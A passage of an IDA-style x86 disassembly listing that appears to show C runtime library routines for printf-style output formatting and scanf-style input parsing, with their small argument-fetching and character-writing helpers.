mov eax, esi
or eax, edi
jz short loc_40DD47
loc_40DD0C: ; CODE XREF: sub_40D768+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_40C880
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_40C810
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_40DD3D
add ebx, [ebp+var_2C]
loc_40DD3D: ; CODE XREF: sub_40D768+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_40DCFC
; ---------------------------------------------------------------------------
loc_40DD47: ; CODE XREF: sub_40D768+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_40DD72
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_40DD65
test eax, eax
jnz short loc_40DD72
loc_40DD65: ; CODE XREF: sub_40D768+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_40DD6F: ; CODE XREF: sub_40D768+35Fj
; sub_40D768+406j ...
mov [ebp+var_C], eax
loc_40DD72: ; CODE XREF: sub_40D768+21Bj
; sub_40D768+2FDj ...
cmp [ebp+var_28], 0
jnz loc_40DE70 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_40DDAA
test bh, 1
jz short loc_40DD8F
mov [ebp+var_16], 2Dh
jmp short loc_40DDA3
; ---------------------------------------------------------------------------
loc_40DD8F: ; CODE XREF: sub_40D768+61Fj
test bl, 1
jz short loc_40DD9A
mov [ebp+var_16], 2Bh
jmp short loc_40DDA3
; ---------------------------------------------------------------------------
loc_40DD9A: ; CODE XREF: sub_40D768+62Aj
test bl, 2
jz short loc_40DDAA
mov [ebp+var_16], 20h
loc_40DDA3: ; CODE XREF: sub_40D768+625j
; sub_40D768+630j
mov [ebp+var_1C], 1
loc_40DDAA: ; CODE XREF: sub_40D768+61Aj
; sub_40D768+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_40DDCA
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_40DEDE
add esp, 10h
loc_40DDCA: ; CODE XREF: sub_40D768+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_40DF0F
add esp, 10h
test bl, 8
jz short loc_40DDFC
test bl, 4
jnz short loc_40DDFC
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_40DEDE
add esp, 10h
loc_40DDFC: ; CODE XREF: sub_40D768+67Bj
; sub_40D768+680j
cmp [ebp+var_24], 0
jz short loc_40DE43
cmp [ebp+var_C], 0
jle short loc_40DE43
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_40DE11: ; CODE XREF: sub_40D768+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_413460
pop ecx
test eax, eax
pop ecx
jle short loc_40DE58
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_40DF0F
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_40DE11
jmp short loc_40DE58
; ---------------------------------------------------------------------------
loc_40DE43: ; CODE XREF: sub_40D768+698j
; sub_40D768+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_40DF0F
add esp, 10h
loc_40DE58: ; CODE XREF: sub_40D768+6BCj
; sub_40D768+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_40DE70 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_40DEDE
add esp, 10h
loc_40DE70: ; CODE XREF: sub_40D768+68j
; sub_40D768+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_40D794
loc_40DE81: ; CODE XREF: sub_40D768+1Fj
; sub_40D768+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_40D768 endp
; ---------------------------------------------------------------------------
off_40DE89 dd offset loc_40D907 ; DATA XREF: sub_40D768+6Er
dd offset loc_40D7DD ; jump table for switch statement
dd offset loc_40D7F8
dd offset loc_40D844
dd offset loc_40D87B
dd offset loc_40D883
dd offset loc_40D8B8
dd offset loc_40D94B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DEA9 proc near ; CODE XREF: sub_40D768+1BDp
; sub_40D768+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_40DEC2
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_40DECD
; ---------------------------------------------------------------------------
loc_40DEC2: ; CODE XREF: sub_40DEA9+9j
push ecx
push [ebp+arg_0]
call sub_40D653
pop ecx
pop ecx
loc_40DECD: ; CODE XREF: sub_40DEA9+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_40DEDA
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40DEDA: ; CODE XREF: sub_40DEA9+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_40DEA9 endp
; =============== S U B R O U T I N E =======================================
sub_40DEDE proc near ; CODE XREF: sub_40D768+65Ap
; sub_40D768+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_40DF0C
mov esi, [esp+8+arg_C]
loc_40DEEF: ; CODE XREF: sub_40DEDE+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_40DEA9
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_40DF0C
mov eax, edi
dec edi
test eax, eax
jg short loc_40DEEF
loc_40DF0C: ; CODE XREF: sub_40DEDE+Bj
; sub_40DEDE+25j
pop edi
pop esi
retn
sub_40DEDE endp
; =============== S U B R O U T I N E =======================================
sub_40DF0F proc near ; CODE XREF: sub_40D768+670p
; sub_40D768+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_40DF43
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_40DF25: ; CODE XREF: sub_40DF0F+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_40DEA9
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_40DF43
mov eax, ebx
dec ebx
test eax, eax
jg short loc_40DF25
loc_40DF43: ; CODE XREF: sub_40DF0F+Cj
; sub_40DF0F+2Bj
pop edi
pop esi
pop ebx
retn
sub_40DF0F endp
; =============== S U B R O U T I N E =======================================
sub_40DF47 proc near ; CODE XREF: sub_40D768+E5p
; sub_40D768+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_40DF47 endp
; =============== S U B R O U T I N E =======================================
sub_40DF54 proc near ; CODE XREF: sub_40D768+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_40DF54 endp
; =============== S U B R O U T I N E =======================================
sub_40DF64 proc near ; CODE XREF: sub_40D768+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_40DF64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DF72 proc near ; CODE XREF: sub_40B56D+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_40E978
mov edi, [ebp+arg_0]
jmp short loc_40DFA1
; ---------------------------------------------------------------------------
loc_40DF9C: ; CODE XREF: sub_40DF72+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_40DFA1: ; CODE XREF: sub_40DF72+28j
cmp dword_41FF84, 1
jle short loc_40DFB9
movzx eax, al
push 8
push eax
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40DFC8
; ---------------------------------------------------------------------------
loc_40DFB9: ; CODE XREF: sub_40DF72+36j
mov ecx, off_41FD78
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_40DFC8: ; CODE XREF: sub_40DF72+45j
cmp eax, ebx
jz short loc_40E002
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_40E9FF
pop ecx
pop ecx
push eax
call sub_40E9E8
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_413590
add esp, 0Ch
loc_40DFF0: ; CODE XREF: sub_40DF72+8Ej
test eax, eax
jz short loc_40E002
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_413590
pop ecx
jmp short loc_40DFF0
; ---------------------------------------------------------------------------
loc_40E002: ; CODE XREF: sub_40DF72+58j
; sub_40DF72+80j
cmp byte ptr [esi], 25h
jnz loc_40E8E4
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_40E039: ; CODE XREF: sub_40DF72+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_41FF84, 1
jle short loc_40E056
movzx eax, bl
push 4
push eax
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E065
; ---------------------------------------------------------------------------
loc_40E056: ; CODE XREF: sub_40DF72+D3j
mov ecx, off_41FD78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_40E065: ; CODE XREF: sub_40DF72+E2j
test eax, eax
jz short loc_40E07B
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_40E0E0
; ---------------------------------------------------------------------------
loc_40E07B: ; CODE XREF: sub_40DF72+F5j
cmp ebx, 4Eh
jg short loc_40E0BE
jz short loc_40E0E0
cmp ebx, 2Ah
jz short loc_40E0B9
cmp ebx, 46h
jz short loc_40E0E0
cmp ebx, 49h
jz short loc_40E09B
cmp ebx, 4Ch
jnz short loc_40E0CD
inc [ebp+var_D]
jmp short loc_40E0E0
; ---------------------------------------------------------------------------
loc_40E09B: ; CODE XREF: sub_40DF72+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_40E0CD
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_40E0CD
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_40E0E0
; ---------------------------------------------------------------------------
loc_40E0B9: ; CODE XREF: sub_40DF72+113j
inc [ebp+var_E]
jmp short loc_40E0E0
; ---------------------------------------------------------------------------
loc_40E0BE: ; CODE XREF: sub_40DF72+10Cj
cmp ebx, 68h
jz short loc_40E0DA
cmp ebx, 6Ch
jz short loc_40E0D2
cmp ebx, 77h
jz short loc_40E0D5
loc_40E0CD: ; CODE XREF: sub_40DF72+122j
; sub_40DF72+12Dj ...
inc [ebp+var_F]
jmp short loc_40E0E0
; ---------------------------------------------------------------------------
loc_40E0D2: ; CODE XREF: sub_40DF72+154j
inc [ebp+var_D]
loc_40E0D5: ; CODE XREF: sub_40DF72+159j
inc [ebp+var_5]
jmp short loc_40E0E0
; ---------------------------------------------------------------------------
loc_40E0DA: ; CODE XREF: sub_40DF72+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_40E0E0: ; CODE XREF: sub_40DF72+107j
; sub_40DF72+10Ej ...
cmp [ebp+var_F], 0
jz loc_40E039
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_40E105
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_40E105: ; CODE XREF: sub_40DF72+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_40E123
mov al, [esi]
cmp al, 53h
jz short loc_40E11F
cmp al, 43h
jz short loc_40E11F
or [ebp+var_5], 0FFh
jmp short loc_40E123
; ---------------------------------------------------------------------------
loc_40E11F: ; CODE XREF: sub_40DF72+1A1j
; sub_40DF72+1A5j
mov [ebp+var_5], 1
loc_40E123: ; CODE XREF: sub_40DF72+19Bj
; sub_40DF72+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_40E15C
cmp esi, 63h
jz short loc_40E14D
cmp esi, 7Bh
jz short loc_40E14D
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_40E9FF
pop ecx
jmp short loc_40E158
; ---------------------------------------------------------------------------
loc_40E14D: ; CODE XREF: sub_40DF72+1C5j
; sub_40DF72+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_40E9CE
loc_40E158: ; CODE XREF: sub_40DF72+1D9j
pop ecx
mov [ebp+var_14], eax
loc_40E15C: ; CODE XREF: sub_40DF72+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_40E16C
cmp [ebp+var_C], eax
jz loc_40E948
loc_40E16C: ; CODE XREF: sub_40DF72+1EFj
cmp esi, 6Fh
jg loc_40E3D3
jz loc_40E685
cmp esi, 63h
jz loc_40E3B0
cmp esi, 64h
jz loc_40E685
jle loc_40E3FD
cmp esi, 67h
jle short loc_40E1D0
cmp esi, 69h
jz short loc_40E1B8
cmp esi, 6Eh
jnz loc_40E3FD
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_40E8B3
jmp loc_40E8D9
; ---------------------------------------------------------------------------
loc_40E1B8: ; CODE XREF: sub_40DF72+229j
push 64h
pop esi
loc_40E1BB: ; CODE XREF: sub_40DF72+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_40E445
mov [ebp+var_17], 1
jmp loc_40E44A
; ---------------------------------------------------------------------------
loc_40E1D0: ; CODE XREF: sub_40DF72+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_40E1EC
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_40E1F1
; ---------------------------------------------------------------------------
loc_40E1EC: ; CODE XREF: sub_40DF72+26Aj
cmp ebx, 2Bh
jnz short loc_40E208
loc_40E1F1: ; CODE XREF: sub_40DF72+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_40E9CE
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40E20B
; ---------------------------------------------------------------------------
loc_40E208: ; CODE XREF: sub_40DF72+27Dj
mov edi, [ebp+arg_0]
loc_40E20B: ; CODE XREF: sub_40DF72+294j
cmp [ebp+var_20], 0
jz short loc_40E21A
cmp [ebp+var_C], 15Dh
jle short loc_40E221
loc_40E21A: ; CODE XREF: sub_40DF72+29Dj
mov [ebp+var_C], 15Dh
loc_40E221: ; CODE XREF: sub_40DF72+2A6j
; sub_40DF72+2F2j
cmp dword_41FF84, 1
jle short loc_40E236
push 4
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E241
; ---------------------------------------------------------------------------
loc_40E236: ; CODE XREF: sub_40DF72+2B6j
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 4
loc_40E241: ; CODE XREF: sub_40DF72+2C2j
test eax, eax
jz short loc_40E266
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40E266
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_40E9CE
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40E221
; ---------------------------------------------------------------------------
loc_40E266: ; CODE XREF: sub_40DF72+2D1j
; sub_40DF72+2DBj
cmp byte_41FF88, bl
jnz short loc_40E2D4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40E2D4
inc [ebp+var_4]
push edi
call sub_40E9CE
mov ebx, eax
mov al, byte_41FF88
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_40E28F: ; CODE XREF: sub_40DF72+360j
cmp dword_41FF84, 1
jle short loc_40E2A4
push 4
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E2AF
; ---------------------------------------------------------------------------
loc_40E2A4: ; CODE XREF: sub_40DF72+324j
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 4
loc_40E2AF: ; CODE XREF: sub_40DF72+330j
test eax, eax
jz short loc_40E2D4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40E2D4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_40E9CE
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40E28F
; ---------------------------------------------------------------------------
loc_40E2D4: ; CODE XREF: sub_40DF72+2FAj
; sub_40DF72+304j ...
cmp [ebp+var_1C], 0
jz loc_40E36C
cmp ebx, 65h
jz short loc_40E2EC
cmp ebx, 45h
jnz loc_40E36C
loc_40E2EC: ; CODE XREF: sub_40DF72+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40E36C
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_40E9CE
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_40E313
mov [esi], al
inc esi
jmp short loc_40E318
; ---------------------------------------------------------------------------
loc_40E313: ; CODE XREF: sub_40DF72+39Aj
cmp ebx, 2Bh
jnz short loc_40E336
loc_40E318: ; CODE XREF: sub_40DF72+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_40E327
and [ebp+var_C], eax
jmp short loc_40E336
; ---------------------------------------------------------------------------
loc_40E327: ; CODE XREF: sub_40DF72+3AEj
; sub_40DF72+3F8j
inc [ebp+var_4]
push edi
call sub_40E9CE
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_40E336: ; CODE XREF: sub_40DF72+3A4j
; sub_40DF72+3B3j
cmp dword_41FF84, 1
jle short loc_40E34B
push 4
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_40E356
; ---------------------------------------------------------------------------
loc_40E34B: ; CODE XREF: sub_40DF72+3CBj
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 4
loc_40E356: ; CODE XREF: sub_40DF72+3D7j
test eax, eax
jz short loc_40E36C
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40E36C
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_40E327
; ---------------------------------------------------------------------------
loc_40E36C: ; CODE XREF: sub_40DF72+366j
; sub_40DF72+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_40E9E8
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_40E978
cmp [ebp+var_E], 0
jnz loc_40E8D9
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_41FD58
add esp, 0Ch
jmp loc_40E8D9
; ---------------------------------------------------------------------------
loc_40E3B0: ; CODE XREF: sub_40DF72+20Cj
cmp [ebp+var_20], eax
jnz short loc_40E3BF
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_40E3BF: ; CODE XREF: sub_40DF72+441j
cmp [ebp+var_5], 0
jle short loc_40E3C9
mov [ebp+var_16], 1
loc_40E3C9: ; CODE XREF: sub_40DF72+451j
mov edi, offset dword_41DC08
jmp loc_40E4DE
; ---------------------------------------------------------------------------
loc_40E3D3: ; CODE XREF: sub_40DF72+1FDj
mov eax, esi
sub eax, 70h
jz loc_40E681
sub eax, 3
jz loc_40E4CF
dec eax
dec eax
jz loc_40E685
sub eax, 3
jz loc_40E1BB
sub eax, 3
jz short loc_40E421
loc_40E3FD: ; CODE XREF: sub_40DF72+21Bj
; sub_40DF72+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_40E948
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_40E8D9
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_40E8D9
; ---------------------------------------------------------------------------
loc_40E421: ; CODE XREF: sub_40DF72+489j
cmp [ebp+var_5], 0
jle short loc_40E42B
mov [ebp+var_16], 1
loc_40E42B: ; CODE XREF: sub_40DF72+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_40E4E2
mov eax, edi
lea edi, [eax+1]
jmp loc_40E4DE
; ---------------------------------------------------------------------------
loc_40E445: ; CODE XREF: sub_40DF72+24Fj
cmp ebx, 2Bh
jnz short loc_40E46C
loc_40E44A: ; CODE XREF: sub_40DF72+259j
dec [ebp+var_C]
jnz short loc_40E45B
cmp [ebp+var_20], 0
jz short loc_40E45B
mov [ebp+var_F], 1
jmp short loc_40E46C
; ---------------------------------------------------------------------------
loc_40E45B: ; CODE XREF: sub_40DF72+4DBj
; sub_40DF72+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_40E9CE
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_40E46C: ; CODE XREF: sub_40DF72+4D6j
; sub_40DF72+4E7j
cmp ebx, 30h
jnz loc_40E6BA
push [ebp+arg_0]
inc [ebp+var_4]
call sub_40E9CE
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_40E4BA
cmp bl, 58h
jz short loc_40E4BA
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_40E4A4
push 6Fh
loc_40E49E: ; CODE XREF: sub_40DF72+55Bj
pop esi
jmp loc_40E6BA
; ---------------------------------------------------------------------------
loc_40E4A4: ; CODE XREF: sub_40DF72+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_40E9E8
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_40E6B7
; ---------------------------------------------------------------------------
loc_40E4BA: ; CODE XREF: sub_40DF72+517j
; sub_40DF72+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_40E9CE
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_40E49E
; ---------------------------------------------------------------------------
loc_40E4CF: ; CODE XREF: sub_40DF72+46Fj
cmp [ebp+var_5], 0
jle short loc_40E4D9
mov [ebp+var_16], 1
loc_40E4D9: ; CODE XREF: sub_40DF72+561j
mov edi, offset dword_41DC00
loc_40E4DE: ; CODE XREF: sub_40DF72+45Cj
; sub_40DF72+4CEj
or [ebp+var_18], 0FFh
loc_40E4E2: ; CODE XREF: sub_40DF72+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_40B630
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_40E506
cmp byte ptr [edi], 5Dh
jnz short loc_40E506
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_40E509
; ---------------------------------------------------------------------------
loc_40E506: ; CODE XREF: sub_40DF72+584j
; sub_40DF72+589j
mov dl, [ebp+var_35]
loc_40E509: ; CODE XREF: sub_40DF72+592j
; sub_40DF72+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_40E56E
inc edi
cmp al, 2Dh
jnz short loc_40E555
test dl, dl
jz short loc_40E555
mov cl, [edi]
cmp cl, 5Dh
jz short loc_40E555
inc edi
cmp dl, cl
jnb short loc_40E528
mov al, cl
jmp short loc_40E52C
; ---------------------------------------------------------------------------
loc_40E528: ; CODE XREF: sub_40DF72+5B0j
mov al, dl
mov dl, cl
loc_40E52C: ; CODE XREF: sub_40DF72+5B4j
cmp dl, al
ja short loc_40E551
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_40E539: ; CODE XREF: sub_40DF72+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_40E539
loc_40E551: ; CODE XREF: sub_40DF72+5BCj
xor dl, dl
jmp short loc_40E509
; ---------------------------------------------------------------------------
loc_40E555: ; CODE XREF: sub_40DF72+5A0j
; sub_40DF72+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_40E509
; ---------------------------------------------------------------------------
loc_40E56E: ; CODE XREF: sub_40DF72+59Bj
cmp byte ptr [edi], 0
jz loc_40E978
cmp [ebp+var_3C], 7Bh
jnz short loc_40E580
mov [ebp+arg_4], edi
loc_40E580: ; CODE XREF: sub_40DF72+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_40E9E8
pop ecx
pop ecx
loc_40E597: ; CODE XREF: sub_40DF72+6BCj
; sub_40DF72+6C4j
cmp [ebp+var_20], 0
jz short loc_40E5AB
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_40E647
loc_40E5AB: ; CODE XREF: sub_40DF72+629j
inc [ebp+var_4]
push edi
call sub_40E9CE
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_40E63B
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_40E63B
cmp [ebp+var_E], 0
jnz short loc_40E633
cmp [ebp+var_16], 0
jz short loc_40E628
mov ecx, off_41FD78
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_40E607
inc [ebp+var_4]
push edi
call sub_40E9CE
pop ecx
mov [ebp+var_37], al
loc_40E607: ; CODE XREF: sub_40DF72+686j
push dword_41FF84
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4134C8
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_40E62B
; ---------------------------------------------------------------------------
loc_40E628: ; CODE XREF: sub_40DF72+673j
mov [esi], al
inc esi
loc_40E62B: ; CODE XREF: sub_40DF72+6B4j
mov [ebp+var_2C], esi
jmp loc_40E597
; ---------------------------------------------------------------------------
loc_40E633: ; CODE XREF: sub_40DF72+66Dj
inc [ebp+var_30]
jmp loc_40E597
; ---------------------------------------------------------------------------
loc_40E63B: ; CODE XREF: sub_40DF72+649j
; sub_40DF72+667j
dec [ebp+var_4]
push edi
push eax
call sub_40E9E8
pop ecx
pop ecx
loc_40E647: ; CODE XREF: sub_40DF72+633j
cmp [ebp+var_30], esi
jz loc_40E978
cmp [ebp+var_E], 0
jnz loc_40E8D9
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_40E8D9
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_40E679
and word ptr [eax], 0
jmp loc_40E8D9
; ---------------------------------------------------------------------------
loc_40E679: ; CODE XREF: sub_40DF72+6FCj
and byte ptr [eax], 0
jmp loc_40E8D9
; ---------------------------------------------------------------------------
loc_40E681: ; CODE XREF: sub_40DF72+466j
mov [ebp+var_D], 1
loc_40E685: ; CODE XREF: sub_40DF72+203j
; sub_40DF72+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_40E693
